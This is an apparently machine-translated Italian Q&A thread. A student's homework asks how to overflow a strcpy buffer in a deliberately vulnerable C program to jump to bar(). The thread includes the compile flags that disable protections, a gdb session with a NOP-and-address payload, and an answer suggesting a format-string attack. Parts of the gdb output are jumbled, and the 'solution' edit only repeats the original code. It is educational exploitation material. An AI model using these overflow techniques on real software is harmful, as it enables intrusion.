L'exploit di overflow del buffer segna ancora errori

3

Ho un problema molto simile alla domanda qui , ma la soluzione non l'ha risolta per me. Questo è un compito a casa, ma sono completamente bloccato su questo.

Ho un pezzo di codice sfruttabile:

void foo(const char* input)
{
    char buf[12] = {"\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"};

    // This will overrun the buffer if the array pointed to by
    // input is more than 12 characters long
    strcpy(buf, input);
}


void bar(void)
{
    printf("In bar()");
}


int main(int argc, char* argv[])
{
    foo(argv[1]);

    return 0;
}

L'obiettivo è chiamare bar() da un overflow del buffer.

L'ho compilato su un server ubuntu di linux usando questo comando:

gcc vulnerable.c -g -fno-stack-protector -z execstack -O0 -m32  -o ./vuln

Sto disabilitando la protezione smasher stack, sto disabilitando il bit nx (credo) con -z execstack . Credo di aver trovato la dimensione del buffer e la posizione di memoria (0804846b) della funzione. Quando eseguo gdb con un'interruzione nel mio principale, sono in grado di vedere che sembra entrare nella funzione:

(gdb) run $(python -c "print('\x90'*24 + '\x6b\x84\x04\x08')")


Breakpoint 1, main (argc=2, argv=0xffffd594) at vulnerable.c:27
27      foo(argv[1]);
(gdb) s
foo (input=0xffffd707 '0' <repeats 24 times>, "k4
(gdb) n
bar () at vulnerable.c:20
20  {
(gdb) n
21      printf("In bar()");
(gdb) n
22  }
(gdb) info registers
eax            0x8  8
ecx            0x804b010    134524944
edx            0xf7fbd870   -134490000
ebx            0x0  0
esp            0xffffd4c4   0xffffd4c4
ebp            0xffffd4cc   0xffffd4cc
esi            0xf7fbc000   -134496256
edi            0xf7fbc000   -134496256
eip            0x8048481    0x8048481 <bar+22>
eflags         0x282    [ SF IF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99
(gdb) n
0xffffd700 in ?? ()
(gdb) 
4\b") at vulnerable.c:11 11 char buf[12] = {"\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"}; (gdb) n 15 strcpy(buf, input); (gdb) n 16 } (gdb) n **bar () at vulnerable.c:20** 20 { (gdb) info registers eax 0xffffd4b4 -11084 ecx 0xffffd720 -10464 edx 0xffffd4cd -11059 ebx 0x0 0 esp 0xffffd4d0 0xffffd4d0 ebp 0x90909090 0x90909090 esi 0xf7fbc000 -134496256 edi 0xf7fbc000 -134496256 eip 0x804846b 0x804846b <bar> eflags 0x282 [ SF IF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0xffffd704 in ?? () (gdb)

Il programma termina con un errore seg in quella posizione di memoria ffff . Cosa mi manca?

EDIT: è arrivato al bar di ritorno? Penso di sì?:

(gdb) run $(python -c "print('A' * [NUMBER TO OVERFLOW THE BUFFER] + [address of bar] + [address of libc_start_main])")

Modifica: ho trovato una soluzione, ma restituisce il codice di errore 10:

void foo(const char* input)
{
    char buf[12] = {"\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"};

    // This will overrun the buffer if the array pointed to by
    // input is more than 12 characters long
    strcpy(buf, input);
}


void bar(void)
{
    printf("In bar()");
}


int main(int argc, char* argv[])
{
    foo(argv[1]);

    return 0;
}

Questo ottiene la stampa, ma restituisce il codice 10.

    
posta Jeff 06.12.2017 - 15:17
fonte

1 risposta

1

Ho affrontato lo stesso problema. Questo succede quando sei:

  1. Non eseguire correttamente i calcoli per determinare quante stringhe inserire nel buffer.

  2. Stai sovrascrivendo l'istruzione stessa.

Potresti provare a verificare se c'erano degli indirizzi che stavi già saltando prima di questa stringa (ha funzionato per me).

Oppure puoi provare anche a passare una stringa che ha molti %x e pochi alfabeti e poi vedrai dopo n numero di %x puoi vedere il valore ASCII degli alfabeti che hai passato verrà stampato. Ora questo n può essere usato come %nu (non il n qui da prima) e in questo modo puoi anche attaccare il buffer e si chiama Format String attack. Forse questo avrebbe funzionato.

    
risposta data 16.10.2018 - 23:27
fonte

Leggi altre domande sui tag